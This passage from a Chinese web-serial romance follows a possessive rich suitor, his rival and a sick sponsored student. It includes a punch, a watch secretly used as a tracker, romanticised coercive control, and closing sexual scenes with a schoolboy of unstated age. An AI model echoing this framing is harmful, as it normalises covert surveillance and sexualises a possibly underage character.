赵静群这才知道他被宋家资助了,而且合同的条件如此苛刻,违约金对陶柠来说更是高昂得吓人,但他却一点消息都查不到,可见宋家的确有些手段。但他心底冷笑,管他是什么百年世家,敢用破合同困住他赵静群的人,真是活腻歪了。 心疼陶柠要忍受如此苛刻的条件,赵静群轻声哄他:“呆宝乖,我给你转去更好的学校,咱们不要那份和宋家的合同了好不好?”其实他私心是更希望陶柠完全依靠他,不要和其他任何人、任何家族有牵扯。 宋郁丛其实也说过类似的话,似乎只有徐隽从未表示过什么,他的确如他自己所说,徐徐清风,默默无声支持陶柠凭借自己的力量飞往更广阔的天地。 他和徐隽既是赛事上的对手,也是心灵上的知己。 徐隽懂他。 所以,陶柠像拒绝了宋郁丛一样拒绝了赵静群,他摇了摇头:“要遵守约定。” 赵静群知道他的固执与执拗,就像那场暴雨之中,无论他如何恳求,如何诉说爱意,陶柠从未动摇过离开他的决心。 陶柠啊。 他想,外表看起来美丽、柔软不堪的山中少年,内心却固执无比,有时候赵静群甚至怀疑,陶柠是否有一副铁石心肠?他想要做的事情,他阿姐拿他没办法,说陶柠倔起来像头牛。 现在赵静群也拿他没办法,除了在暗中帮他,他拿陶柠,毫无办法。 送陶柠回别墅的路上,赵静群想起他的病,连忙道:“呆宝,这点你要听我的,我要带你去京市检查身体。”他放低姿态,哄着求着陶柠:“宝宝,跟我去好吗?” “很快的,不会耽误你学习,好不好?乖宝。” 男人轻声细语的哄着,陶柠脸颊有些发热,他想了想,犹豫道:“已经检查过了。” 赵静群一颗心被提了起来,轻轻捧起他的脸颊,那双总是含着凉薄笑意的眼睛,此刻紧张无比地盯着他问:“是身体哪里有问题?” 陶柠直接跟他说了自己的病:“再生障碍性贫血”。他不想赵静群那么担忧,只是简单说了几下。 但赵静群怎么可能会不知道这种病的严重性?一颗心被高高吊起,又重重跌落谷底,摔得零碎,根本拼不起来。赵静群心疼到呼吸都在颤抖,布满茧子的手也抖得厉害,却很温柔地抱住陶柠,喉咙发紧:“柠柠,呆宝,我的宝贝受苦了。” 被淡淡烟草味混着酒味的怀抱拥着,陶柠一愣,轻声说:“没事的。” “有事。”赵静群闭了闭眼,不让陶柠看见他已经发红的眼眶,“国内没有配型的骨髓,我就带你去国外找,无论找多久,我都要替你找到。” 两人在玫瑰花圃旁紧紧相拥,直到皮鞋踩在地上的声音响起,那声音越来越近,陶柠听到了动静,连忙推了推抱住他的男人。 赵静群知道现在宋家鱼龙混杂,的确不是温存的好地方,便稍微放开了陶柠,深呼一口气,迅速擦掉因为心疼陶柠身体受那么多罪险些要掉出的眼泪。他随意整理了一下衣领,转身,却看见一个酒红色西装的男人正臭着脸看着他们。 男人手上提着玫瑰蛋糕,目光甚至不屑在他脸上扫过,仿佛会脏了他的眼睛,而是直勾勾地盯着陶柠,语气却是不耐的:“乡巴佬,不是要一起吃晚饭么?你跑这儿来干什么?还有。” 话到这里,他那双凤眸才轻蔑地看向赵静群,“这男的是谁?我不是警告过你,不许” “他是我表哥!”陶柠连忙打断他,怕宋郁丛那张嘴瞎说话,脑子一片空白扯了个谎,但脱口而出的瞬间,便觉得这关系不对。 但以宋郁丛小心眼的程度,还是坚定道:“他是是我表哥。”紧接着,陶柠便感觉到,两道同时阴沉的目光落在了他身上。 第60章 第 60 章 (修罗场3)前面是宋郁…… 前面是宋郁丛, 身后是赵静群。 属实是前有虎后有狼,陶柠被夹在中间,一时前后为难, 不知道该怎么办了。 宋郁丛眯起眼,冷嘲热讽道:“这是你表哥?我怎么从来没听你提起过?”轻“啧”了一声, 挑剔的视线将面无表情的赵静群自上而下审视了个遍,“不过我看他一脸穷酸样, 的确像你的乡下亲戚。” 对于这个陶柠身边突然冒出来的“表哥”,宋郁丛根本不屑一顾。 但碍于这男人可能真的是陶柠的亲戚,他说话已经收敛很多了, 只是不满陶柠为什么不告诉他穷亲戚会过来,也更不满陶柠分明约好了跟他一起吃晚饭,却有胆子敢偷跑出去放他鸽子。 这是宋郁丛最不能容忍的事了, 他臭着脸, “乡巴佬”, 刚想把陶柠拽到自己身边, 一个拳头便迎面而来,充满戾气的拳头砸在脸上, 甚至能听见骨头碎裂的声音,宋郁丛痛到直接弯腰。 不远处的保镖见状,吓得惊叫连连: “二少爷!您没事吧!” “少爷撑住!我们来了!” “二少爷” 保镖们迅速将陶柠和赵静群包围住, 陶柠已经吓懵了,赵静群收回手,弹了一下衣袖上不存在的灰尘,挑眉笑道:“不好意思,手滑。” 随即牵住陶柠的手,宣誓主权似的晃了晃, 对朝他们包围而来的保镖,满脸惊讶说:“原来你是宋二公子,我以为是从哪儿冒出来调戏我表弟的地痞,哦哟不好意思。” 说话间,男人将“表弟”两个字咬得很紧,顺便眼含笑意看向陶柠,只是眼神怎么看怎么阴戾危险,似乎在说“好呆宝,没人的时候再跟你好好算账”。 陶柠:“” 他想起初见赵静群的时候,男人双手插着兜,一头红毛,耳朵上打满了数不清的耳钉,挑眉轻笑看过来时,一度让陶柠想起了学校里辍学后那些骑着五颜六色摩托的地痞混混。 即使许久未见,男人西装革履,身上不经意流露出的匪气依旧隐约存在 所以到底谁是地痞? 宋郁丛快要气爆炸了,脑子嗡嗡作响,最近本就失血过多,现在突然又遭那么一拳头,鼻梁痛到厉害,浑身的冷汗不自觉地冒出来。他想喊人把刚才吃了熊心豹子胆的男人丢进河里,但满手是血,他瞳孔紧缩,嘴唇哆嗦到说不出话。 旁边扶着他的保镖快要急死了,连忙打了120还有喊叫私人医生过来的。场面顿时乱作了一团,很快吸引到更多的人过来。 陶柠知道宋郁丛应该是怕血的,想要挣脱攥紧他的手去看一下情况,却被赵静群拉进坏里,男人掰正他的肩膀,让陶柠只能看着他。 “呆柠柠,你跟他什么关系?”男人脸上没了笑意,蹙眉问他,“这不要脸的东西竟然敢叫你乡巴佬,我刚才给他一拳都算轻的。” 赵静群在极力克制自己的戾气,不希望吓到陶柠,只是刚才那不知从哪儿冒出来的野狗竟然话里话外与陶柠熟稔的模样,这让赵静群非常不爽,甚至陶柠在野狗面前还要编造自己和他的关系。 看着陶柠还算镇定的小脸,没他巴掌大,自己送的眼镜不翼而飞,昳丽的五官好似洋娃娃一样精致,几乎能让所有男人产生阴暗下流的想法。 表哥?他心底冷笑,想.干自己表弟的表哥算么?如果算的话,那他赵静群确实是陶柠的好表哥。 四周聚集过来的人越来越多,赵静群不计较陶柠不吭声了,而是一颗一颗扣紧陶披在身上的外套的扣子,确保不会漏出一丝一毫的春光,低声道:“以后去床上收拾你。” 这边的动静引来了宋荣国,其后跟着宋珩,见到正发着抖大口呼吸的宋郁丛,而身后传来窃窃私语,顿时觉得脸上挂不住,呵斥道:“还不快把二少爷送去医院?” 救护车来的很快,佣人们连忙要扶宋郁丛去车上,他挥开其中一个人的手,颤抖着扭头,那双冰冷的凤眸穿过人群,视线锁在陶柠身上:“陶柠,跟我走” 陶柠心底咯噔一声,宋郁丛今日的确因为他遭受了无妄之灾。他不知道事情怎么又演变成这样了,怎么怎么又打起来了?似乎他攻略的对象们无法和平相处,只要有两人碰到,总是避免不了这样的冲突。 他简直无法想象,三个人若是同时遇到 果然他坚定的事情是对的,那便是——绝不能让他们知道自己同时与他们有纠葛。 比起曾经遇到这种事的慌乱,陶柠如今镇定了许多,他先安抚好赵静群:“这是资助我的人之一,表、表哥”这个称呼真是说不出来的奇怪,但陶柠还是硬着头皮喊了,“我们不能这样对他,我去向他道歉,等会儿就过来,可以吗?” 赵静群根本不吃他这套,在他心里,陶柠全身上下连骨头带皮肉都是他的,都是要被他含在嘴里,揉碎进骨子里的。让他放心肝宝贝去见一条野狗?不可能! 从始至终当事人连个眼神都没瞟过来,宋荣国皮肉不笑:“赵贤侄,能否借一步换个地方说话?” 陶柠扯了扯赵静群的衣袖,眨了眨水汪汪的眼睛,半带祈求半带撒娇似的。赵静群眼睛看直了,酥到大脑彻底一片空白,回过神后,阴森的愤怒迅速从头烧到尾。 谁教陶柠这样的? 从前在那座深山老林,陶柠是个小木头,别说会这样眨眼睛撒娇了,就是多笑一下,赵静群都能高兴到抱着陶柠转好几个圈,哄他再多笑一会儿。如今只是两个多月没见,陶柠竟然会朝人撒娇了? 赵静群气得拳头咯吱作响,还有难以言喻的心酸蔓延。他的宝贝疙瘩根本不需要撒娇,不需要做任何事。 陶柠往原地一站,赵静群便会把所有价值连城的东西献宝似地悉数奉上。 再回过神时,他的宝贝疙瘩已经慢慢挪到救护车旁了,赵静群没有再阻止,当然也没了笑意,既然舍不得,那他便多受点罪吧。 赵静群也皮笑肉不笑:“晚辈错把宋二少认成了调戏表弟的地痞,不小心误伤了他,是晚辈不对,还望宋叔伯见谅,改天,不,明天晚辈就携大礼登门道歉。” 各自都是各自地盘的龙头,说道歉,其实就是轻飘飘的一句场面话而已。宋荣国当然明白这个道理,更不想和赵静群闹得不愉快,因为他最近出了点小麻烦,被曾经斗得你死我活的老对手找出了些见不得光的东西。 因为赘婿还有害死老丈人的名声,宋荣国在上流阶层本身并不讨喜,但他背靠百年世家,还有个好儿子宋珩,借着他升官的机会,他特意设了此次的宴会,目的便是维系权贵的关系,最好能得到让老对手也不痛快的东西。 虽然赵氏远在邻省,但曾经名震东南亚的军火商他们这些靠海的商贩无人不知无人不晓,虽然如今赵氏在外称是普通的家族集团,但其与军、政两方利益的捆绑根深蒂固,不是单纯靠小商小贩起家的家族可比拟的。 宋荣国惹不起他,便笑着说有心了,另外困惑道:“那孩子跟你是表兄弟?”他知道陶柠的名字,当初宋珩说要资助一个乡下人,宋荣国没当回事,他只见过陶柠一两面,甚至没怎么正眼看过。 刚才看见那么漂亮的一个孩子,以为他是赵静群带出来的新鲜情人,是宋郁丛要抢人才发生了冲突,没想到这孩子是他们家资助的那个乡下人么? 赵静群没太多表情,但也承认陶柠是他表弟了。 不过是认的“干”表弟。 见他们关系匪浅,宋荣国起了心思:“竟然是贤侄的表弟,看来我与贤侄之间缘分深厚,叔伯我更会尽心竭力帮助那孩子,像对待亲侄子般培养他,盼他功成名就,一举成龙。如果贤侄因为那孩子多来叔伯家中走动,我敞开了门欢迎。” 自从回到赵家后,想攀他关系的人多了去了,不差宋荣国这一个,而且赵静群正想借这些人的嘴,多了解陶柠最近的情况。 他确实会多来宋家‘走动’,赵静群笑得有些阴森:“那晚辈,多谢叔伯了。” * 救护车上,宋郁丛几乎是蜷缩在陶柠怀里发抖,他的眼睛被蒙上了黑色眼罩,手却死死攥着陶柠的衣袖,好似攥着唯一的救命稻草。 陶柠拍了拍他的背,又被宋郁丛一把抓住,他抹掉不断流出来的鼻血,咬牙切齿质问:“那傻逼真是你表哥?” 他又不是傻子,能看出赵静群身上穿的衣物价值不菲,今天宋家来了那么多人赴宴,宋郁丛虽没怎么出现过,但他猜的出来赵静群是其中之一。 据他所知,陶柠家境一穷二白,什么时候有个富二代表哥了? 陶柠连“哥”都没喊过他!凭什么喊那傻逼“表哥”?? 沉默片刻,陶柠表情还算淡定,因为只要不是突发情况,他现在已经能够镇定自若撒点小谎了,不像曾经那般心虚。 他点了点头:“是有些缘分,认的表兄弟。” 宋郁丛鼻梁疼的厉害,他看不见陶柠的表情,只好搂紧了他,闻言,顿时龇牙咧嘴:“那你说!什么时候什么地方有的缘分?乡巴佬你今天不把话说清楚,以后别想再出我卧室的门!” 陶柠:“” 他的攻略对象,怎么变得一个比一个难缠了? 叹了口气,陶柠神游天外,想起曾经讲的有关山神的故事,犹豫道:“他之前带妹妹来我们村里旅游,不小心迷路了,是我在山上救了他们,嗯后来我们比较投缘,就结拜为兄弟了。” 宋郁丛气笑了,“还他妈结拜,你以为自己和他是张飞、关羽?怎么?我是刘备?!” 陶柠默默想,嗯,桃园三结义,这不历史挺好的嘛。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 60-70 第61章 第 61 章 生吞活剥 一路上宋郁丛喋喋不休, 刨根问底追问陶柠他和赵静群究竟是什么关系,得到的回答始终是“表哥”“只是表哥”“没有其他关系了”等等。 感觉到搂着他的人在微微颤抖,陶柠说话尽量顺着他来, 不刺激他。到了医院后,宋郁丛的状态已经好多了, 进去处理伤口时,回头凶巴巴说:“不准走。” 陶柠坐在外面的休息椅上, “嗯”了一声。 但是出来的时候没有吃药,还玩了很久的水,陶柠靠着椅子, 忽然觉得浑身发冷,一股凉意自脚尖直窜脑海,他拧起眉, 抱紧自己睡了过去。 意识自昏迷沉入了混沌的黑暗, 五感似乎全部消失了, 周遭陷入没有边际的黑夜。陶柠站在黑暗中, 困惑地向前走了一步 这是哪里? “510没有意识反应,是否送入垃圾站销毁?” “可惜了这副皮囊, 花了大价钱才造出来。” “等等它的心跳有波动了。” “有意思。” 谁?究竟是谁在说话? 未知的恐惧伴随好似置身于冰天雪地的冷一同袭来,陶柠感觉难以呼吸,黑暗中混乱的声音忽然被一阵嘈杂冲散, 他听见宋郁丛的怒吼,赵静群冷漠的轻笑还有一个熟悉的声音,与黑暗里的声音重合了 他是谁? 那我又是谁? 陶柠想要逃跑,无边无际的黑暗令他恐惧,他想要一双眼睛,看清前方的路, 他浑身发抖,在黑暗中瑟缩。直到他跌入温暖的怀抱,有人将他黏在身上的衣物脱了下来,随后那双带着烟草味的干涸的唇,虔诚地一点一点吻过他的脸颊。 那人抱着他哄他:“我在这儿,我在这儿呢。乖不怕了乖宝。” 然后开始哼起了歌,沙哑的嗓音轻轻哼着童谣,抱着他,像摇摇车一样晃啊晃。陶柠曾经听过,据说有小孩儿做噩梦时,唱这首童谣就能驱散梦魇,保佑小孩儿不再受噩梦困扰, 陶柠在温声细语的轻哄声中沉沉睡去,等他再睁眼时,映入眼帘的是赵静群有些发红的眼睛,见他醒来,扯了扯紧绷的衣领,长松了口气。 还没反应过来是在哪里,陶柠的额头便被粗糙的手轻刮了一下,赵静群脸上没有笑意的时候阴鸷狠厉,就好像被一匹嗜血的孤狼盯上。他闭了闭眼,估计也自知不笑的时候看起来很凶,想让自己显得温和一点,但应当是气狠了,实在扯不出笑,板着脸说:“陶柠。” 被喊到名字的少年浑不自觉,他呆呆地看过去,四肢无力,脑袋还有些晕。 见少年这副模样,赵静群瞬间心软了,只能责怪自己为什么不盯着他,为什么要让离开自己的视线,都怪他自己不好,才让少年生病。他叹了口气,温柔地抚摸少年柔软的发丝,喉咙干涩:“你发烧到三十九度,差点把你老公的命吓没了。” 男人又刮了一下陶柠有些湿润的鼻尖,“以后再也不能玩水了,知道么?” 陶柠这才发现,自己的一只手始终被赵静群宽厚的手掌捂着,那只手背上,挂着点滴。 他呆呆地“噢”了一声,打量周围的环境,家具应有尽有,干净敞亮,但不像是宋家。“这是医院。”赵静群边给他答疑解惑边给他端了一碗粥过来,他舀起一勺吹了吹,最后还试了一下温度,确保不会烫后,哄着陶柠:“乖宝,来,先喝点粥。” 见陶柠很乖地张开嘴,赵静群眸色发暗,同时心尖软成了水,一口一口喂他。 是熟悉的味道,陶柠只吃一口就知道,是赵静群亲自做的。 他吃的很慢,赵静群也不催,直到陶柠吃完,凑上前,细致地舔吻陶柠的唇角,放开他时,自喉结滚动出磁性的笑意:“看来本人厨艺不减,这粥熬得特别好吃。” 那双似狼的眼睛含着缱绻看过来,陶柠脸颊微红。 赵静群又去摸他的额头,没有刚开始那么烫了,但他依旧不放心:“乖乖在这儿等着,表哥去把医生叫过来。” 看来对表哥这件事,男人不会罢休了。 陶柠:“嗯。” 他被亲了一下,门才合上,陶柠便问系统:【系统,你在做什么?】 系统呜呜的机械哭:【呆瓜,他们不让我参加嗑瓜子大赛了。】 【为什么?】 【因为不能告诉你。】 【噢,另一个系统是谁?】 系统懵了:【呆瓜你怎么知道还有另一个系统。】 陶柠说:【偶尔我会听见一个和你不一样的声音。】 系统支支吾吾:【那、那其实是我的监管者,怕我出差错所以偶尔会冒出来。】 陶柠:【噢。】 他不信事情会这么简单,但问系统估计是问不出来什么,只能守株待兔。 门外走廊上,孙老二指着地上几十箱补品,件件都是稀罕物品,他不好处置,抓耳挠腮问眼前正在揉烟丝的男人,“赵少,这是宋家那二少爷送来的,我们要带走吗?” “丢了。” 扔了手上的烟丝,赵静群插着裤兜就要去找医生,走到一半又折回来,孙老二目瞪口呆看着男人狠厉地踹了一脚补品,哐当一声,包装箱里面的瓶装的物品应该全部碎裂了。 这么大火气,孙老二用脚指头想都知道和天仙嫂子有关,看来宋家那个二少和自家的少爷不对付。但踹补品这种发泄已经算轻的了,要是没找到天仙嫂子,孙老二简直不敢想依以前男人那阴晴不定的样,指不定是踹补品还是喘人了,严重到估计会引来警察。 把十几箱补品踹个稀巴烂后,赵静群洗了手,妒火也稍微消了点,去找医生了。 来的是个很有名望的老医生,他给陶柠凉了体温,烧还没有彻底褪下,说了些注意事项。赵静群在一旁听得很认真,脸上没有丝毫戾气,连着称“是”。这个在外面做事狠毒乖戾的男人,此刻却认认真真记下了有关陶柠所有的事情。 陶柠没有插嘴的余地,他看着男人满脸笑意和老医生交谈,闻到了他身上若有似无的烟味,不重,很轻,不像是抽烟染上的。 等老医生走后,一勺热水送到了嘴边,陶柠喝了,问他:“你还在抽烟吗?” 赵静群喂他喝水的手没停,“你走了以后睡不着,只能靠那些烟了。”他含着笑,“表弟要管表哥抽烟的事情么?” 陶柠抿唇,不肯喝了。 赵静群简直要被这个无法无天的小宝贝气得无可奈何,分明是他先叫自己表哥的,自己忍气吞声受了这个称呼,还没说委屈呢,结果这宝贝霸道的很,只许州官放火,不许百姓点灯,稍微调侃一下,便要跟他闹倔脾气了。 拿陶柠没办法,赵静群吻了吻他的唇角,哄他:“你闻,嘴里没烟味呢。现在没抽烟了,我只看不抽。”放下碗筷,麻利把衣服脱下,赵静群把陶柠抱入怀中,让他坐在自己身上,“找到你以后我就更不抽烟了,有你我还抽烟做什么?亲你一口就好了。” 他抽了十多年的烟,已经成了他的习惯,就算不抽烟的时候身上也总会有一点若有似无的烟味。他问过医生,影响不大。而且陶柠闻了会咳嗽,他已经戒掉了,只是那段时间陶柠不在,赵静群太难熬,只能靠尼古丁麻痹自己硬生生熬过去。 苦尽甘来,他终于找到自己的宝贝了。 说着,赵静群又亲了少年一口,少年在他怀里很乖,那双睫毛浓密的眼眸只是轻轻看他一眼,赵静群的魂立刻便被勾走了,基本上少年说什么便是什么,哪怕他要这条命,赵静群也能马上给他。 但是还有一件很重要的事,赵静群深吸一口,让自己没那么昏头,板下脸问:“那个宋郁丛和你什么关系?” “” 陶柠仰起头想亲他,赵静群艰难地用手捂住他的嘴,心里默念色即是空空即是色,他不能被美色所诱惑,这个宝贝疙瘩在外面溜达了一圈,已经不是个小木头了,而是一只会骗人的小狐狸精。 即使他某个地方已经硬到要爆炸了。 陶柠挪开他的手,面不改色说:“只是我的资助对象,他他帮了我很多,只是朋友。” 赵静群脸色困惑,难不成之前拿着陶柠手机给他发消息的是宋郁丛?只是看宋郁丛那副草包白斩鸡样,他便直觉不是。但他也无话可说,毕竟在见不到陶柠的两个多月里,他控制不了陶柠去交朋友,也阻止不了别人来接触陶柠。 但他还是嫉妒到想宰了那个白斩鸡。 赵静群知道自己有病,他对陶柠有着几乎变态的占有欲和控制欲,曾一度想过找到陶柠后,就把他完全圈禁起来,让陶柠的生活里只剩下他。只是他也知道这样是不对的,在山里自由长大的柠檬,怎么可能会心甘情愿做他的笼中鸟? 姑且相信他们只是朋友吧,赵静群如此安慰自己,“那老公我送你的眼镜呢?”最后仅剩的占有欲,便是希望陶柠的春色再被多遮掩一点,不愿意让除他以外的任何人看见陶柠的美丽。 陶柠如实说:“放在宋家了。” 赵静群又问:“手机呢?” “在学校里。” 赵静群若有所思,“呆宝,我跟你商量两件事。” “嗯。” “老公暂时不干涉你这一年的学习,毕竟这是你的大事,但一年过后,你要立刻跟我去国外做手术,药我全给你换成了国内外最好的,明天就到。”赵静群语气微沉,指腹轻轻摩挲他柔软的脸颊。 “嗯。” 陶柠答应了。 “还有一件事,呆宝你改成走读吧?”赵静群说,“我担心你在学校吃不好喝不好,所以在你学校附近买了套房子,方便我照顾你上下学,怎么样?嗯?” 陶柠沉默了,因为学校里还有徐隽,至今他攻略徐隽的事情还没有进展,目前看,徐隽只把他当朋友,他都不知道该怎么办了。 想了想,陶柠选了个折中的办法,“周一到周五我跟你回去,周末我要在学校里自习。”自习的确是真的,不过是和徐隽一起自习。 赵静群据理力争,“我买的房子隔音效果很好,不耽误乖学习。周末也回来吧。” 那双水汪汪的眼睛看着他,不说话。 赵静群的意志力撑了不到三秒,便败下阵了,但他必须要得到一点补偿,扣住少年的后脑勺,用力亲吻他。 手掌上的青筋凸起,他哑着嗓音哄陶柠:“乖,叫老公。” “老、老公。” 怀中的少年带着一点哭腔,赵静群深呼吸,勉强让他换了一口气,舔掉他嘴角的涎水,继续掠夺怀中人唇齿间的芳香,舌头几乎要钻入他的喉咙,反复抽.插舔吻。听到少年隐约的哭腔,赵静群眼神极其恐怖,反手扣住他纤细的手,不许他动弹挣扎。 任谁看了,都能感觉到男人是想把少年生吞活剥的。 最后还是怕陶柠情绪不稳定病情会加重,赵静群喘着粗气,双目猩红,嗓音沙哑到如粗糙砂砾的地步:“乖,在这里等老公。”他也丝毫不掩饰对陶柠的欲望,就是走路不自在,抓了下裤子,大喇喇地去了卫生间。 卫生间里,赵静群叼着印有奥特曼的布料,单手拿着陶柠的照片,指腹摩挲照明上少年红润的唇,难捱似的眯起眼。 五十多分钟后,赵静群带着一身冰凉的水汽出来,陶柠已经睡着了,几近痴迷地盯着他熟睡的侧颜许久,他拿出一个盒子,打开,里面是一块价值几百万的机械手表。 把机械表捂热后,赵静群给陶柠戴上,这既是一份礼物,也是一个追踪器,防水防火防爆,随时给他发送陶柠的位置。 他必须要时刻知道陶柠在哪里,才能安心睡着。 第62章 第 62 章 (修罗场4)“需要我用…… 身旁的吐息平缓均匀, 眉眼间萦绕的疲倦在此刻消散。陶柠醒来后,想要下床喝口水,结果腰肢被铁箍锁住, 赵静群滚烫的手抱着他,让他根本动弹不了。 他想推一下赵静群, 被手上的表盘里的“PATKE PHILIPPE GENEVE”英文字母所吸引,全表镶嵌白金满钻, 表扣上好似刻了一朵雪花,即使病房内光线暗淡,依旧光辉闪烁, 仿佛一片星空落在陶柠身上。 愣了愣,推了下身旁的人:“赵静群,我想喝水。” 刚推一下, 纤细的手便被粗糙却修长的五指捉住了, 一个吻落在手背上, 赵静群眼睛还没睁开, 嘴里还在囫囵吞枣似地说话:“乖别下去我去倒水。” 他打了个哈欠,随后瞬间清醒, 又把陶柠抓过来亲了一口,才下床去倒水,但赵静群不敢给陶柠喝冷水, 他一直烧着热水,兑了些冷水,先自己试了下,温度偏热后用碗端过去了。 陶柠正盯着手表看,热水送到嘴边,他也习惯性张开嘴, 因为在山里时,只要其他人不在,赵静群都是亲自喂他喝水的,小到喂水,穿衣,吃几块苹果大到给他洗衣做饭等等,他的一切,都被赵静群亲手包揽了。 赵静群会从中得到满足感。 “这个表是不是很贵?” “几百块,你戴着玩张嘴。” “啊——噢。” 陶柠没再多问了,他突然想起一件事,认真说:“我好像还欠你好几千块” 瓷碗落在桌上的声音有点重,赵静群含着阴沉的笑意,“小没良心的,非要这么寒老公的心?”他一副算账的模样,“不是好几千,是好几万,你知道老公给你买的那些衣服裤子要多少钱吗?每件上千块,零零散散加起来几十件了,这么算的话,你个小没良心的还得起?” 陶柠诚实地摇了摇头,“现在还不起,但以后我会很厉害,还得起。” 赵静群忽然想起那时背着陶柠回家,他自己迷迷糊糊说很厉害的迷糊样,本来沉下去的心立刻柔软,抱起陶柠,让他坐在大腿上,两只手从他背后伸过去,又开始给他喂水喝,“呆宝以后这么厉害,那老公未来靠你养了好不好?” 陶柠认真点头,“嗯。” 盘算了一下奖学金和资助金,还有以后所选择的行业的工资,他心想,应该是养得起一大家子的。 但是只有一个问题。 赵静群边喂他喝水边说:“呆宝,跟我见外老公是要伤心的,到时候我要是伤心死了,你上哪儿再找我这么个好老公去?你忍心吗?嗯?” 陶柠其实想说,可他们已经不是恋人关系了。他仰起头,视线瞬间被头顶那双如狼的眼睛攫取,脸颊上有粗糙温热的指腹滑过,男人盯着他,笑着逼问:“忍不忍心?” 他不忍心说出口。 陶柠说:“不忍心。” 他不明白自己为什么会不忍心,但是如果赵静群能高兴,他愿意一直不说出来。 低哑的笑声自略微干涸的唇中溢出,赵静群眼有暗色,干脆自己喝下一碗水,随即捏住怀中人柔软的下巴,吻了上去。 水声与唇舌交缠的声音在寂静的病房内响起,陶柠努力张口嘴承受男人汹涌到几乎有些暴虐的吻,隐约能看见雪白的贝齿,涎水混着透明的水珠,自嘴角滑落至纤细如天鹅似的脖颈。 粗糙的指腹忍不住收紧,少年柔韧的腰肢霎时间显现出殷红的指印,宛若上好的瓷白玉,无辜被男人捏在手中把玩,最后落下旖旎至消散不去的红痕。 用力掐着陶柠的腰窝,赵静群呼吸愈发粗重,他正是血气方刚的年纪,如今伴侣在怀,仰着巴掌大的脸,红润肿胀的唇任由他亲来亲去。 那双好似琥珀的眼眸,含着朦胧如山中清晨的薄雾,懵懂却带了些山神坠入凡尘的情.欲色彩,乖巧看过来,轻飘飘一眼,立刻叫人摄魂夺魄。 这换谁能忍得住?!别提他一个血气方刚的大好男人,赵静群根本忍不了! 宛如头狼放下猎物后吐出的粗气,赵静群喘息着,用了平生最大的意志力强行结束他单方面的侵略之吻,用力将陶柠的脑袋扣入怀中,闭上猩红的双目,自欺欺人般不敢去看陶柠勾人的眼睛。 他忍,他是忍者神龟。 陶柠现在身体太差了,还不是时候。赵静群甚至只敢吮吸他的双唇,不敢重咬,怕把陶柠的舌尖咬出血,到时候止不住,能把他一条命活生生吓没。 更别提那种时候,赵静群有自知之明,他骨子里流淌着恶劣的占有欲,不允许陶柠有任何反抗,哪怕露出万分之一的不情愿,他占有欲和嫉妒作祟,控制不了自己,让陶柠受伤了怎么办? 赵静群抱着怀中的人,紧闭双目,从外表看宛若老僧入定般平静,只有额头暴起的青筋知道他忍得有多辛苦,十几分钟后,粗重的呼吸逐渐放缓,但也仅仅是放缓了一些。 少年还不知危险地在他怀里挣扎,直至头顶的声音沙哑到显得阴森: “陶柠别乱动。” 怀中的人怔了怔,没动了,过了一会儿,软糯的嗓音轻声问: “需要我用手帮你吗?” 他不是什么都不懂,当然知道赵静群忍得辛苦。 只是不知道,他轻飘飘的一句话,令男人霎时睁开眼,那双狼目猩红,滚烫的吐息打在陶柠白皙的后脖颈上,有些痒,激起软肉上一层缱绻的绯红。 沉默过后,赵静群的声音哑得恐怖:“宝宝,你知道自己在说什么话么?” 怀中的少年扭过头,纤细的手指抚过身后人有些粗糙的脸颊。 “嗯,我知道。” * 砰砰。 平静的敲门声缓缓响起,办公室内的班主任喊道:“请进。” 抱着资料的男人进入,他戴着轻薄的金丝眼镜,奥克森特的西装校服穿得一丝不苟,甚至看不出一点褶皱,宽肩长腿,冷淡的气息将之围绕。 男人面无表情的脸上,眉眼间尽是疲惫,镜片后的眼角下还染着两片乌黑,看上去像很久没休息过了,嘴角旁还有些擦伤。 见到向来注重仪表的人如此颓靡,班主任略微讶异:“徐隽,你晚上没睡觉?脸上的伤又是怎么回事?” 徐隽脸色冷淡,“没事,谢谢您关心。” 班主任叹了口气,忍不住絮叨:“徐隽,你是家里出现困难了吗?有其他老师告诉我你做了好几份家教,学生会那边还有那么多事情,白天又有那么重的学习,这是一天干三份活了,你虽然年轻,但长久下去身体也是吃不消的。要是家里有困难,大可以去跟校长那边说,跟我说也行,我们不会放着你这么优秀的孩子不管。” 只是任凭班主任如何苦口婆心,徐隽来回也就“没事,谢谢关系”诸如此类的话了。班主任拿他没办法,也就任由他去了。 直到一份文件落在他桌上,班主任听见徐隽淡淡地问:“陶柠已经快两周没来读书了,是生病了么?” 班主任当然知道陶柠,也知道他被宋家资助。这是他很看好的孩子,人聪明也努力,从大山走到这里属实是不容易,在班上他就押中了陶柠和徐隽这两个尖子。“是啊,身体出了些毛病,上周宋家给他请假了,只是这周又换了个” 班主任想起前几天电话里话语沉稳的男人,“陶柠的表哥又给他请假了,估计下周就回来。” 徐隽垂下眼睑,不知道在想些什么。 过了一会儿,他礼貌询问:“老师,学习上我有些事和陶柠交流,可以借用您的手机给他打个电话吗?不用很久。” “当然可以啊!”奥克森特的老师个个都是小资之家,只是借个手机而已,班主任是乐意的,还给徐隽调出了前两天的通话记录,指着其中一个电话号码道:“这个,他表哥的。” “嗯,谢谢老师。” 徐隽去了办公室内的卫生间,他面色冷淡,毫不犹豫拨通了这个电话。 表哥他又招惹什么男人了么? 铃声没响几下,电话那边便响起一阵窸窣,紧接着,是男人清嗓子的声音,但即便如此,徐隽也能听出电话那头陌生男人低哑到有些不正常的嗓音,“喂,是杨老师吗?” 从把陶柠强硬地抱走时,赵静群便周到地给他请假了,手机上还贴心地给陶柠的班主任备注了,就是为了方便询问陶柠在学校的状况。 徐隽语气淡淡:“不是,他的室友。” 电话那头很明显沉默了片刻,随即一声意味不明的轻笑,然后徐隽没太能听清,应该是电话那头的男人捂住了听筒,只隐约捕捉到了“室友”“怎么办”几个字眼。 攥着手机的五指收紧,徐隽盯着窗外平静的树叶,他知道,陶柠就在男人身旁,他冷冷思考,他们在干什么? 没多过久,电话那头换了一个声音,是徐隽熟悉的软糯,只是听起来,似乎哭过一阵,以至于平日里听起来很软的嗓音带着隐约勾人的味道,甚至说话也有些断断续续:“是、是徐隽吗?唔——不要” 刹那间,话筒又被捂住,但是电话那头传来隐约的哭腔非常明显,就像是故意让电话另一头的人听到。徐隽的心瞬间被冻住,不,应该说他的心连带他的身躯,全部因为这一声接一声哭腔跌入万丈深渊。 “乖,全部吃下去了。” ………… 赵静群拿着手机,说完这句话后,随意将它扔到床头,也随意抹掉嘴角边乳白色的泡沫,手上的黏液顺着精悍结实的肌肉下滑,落在少年白嫩柔软的腿根上。 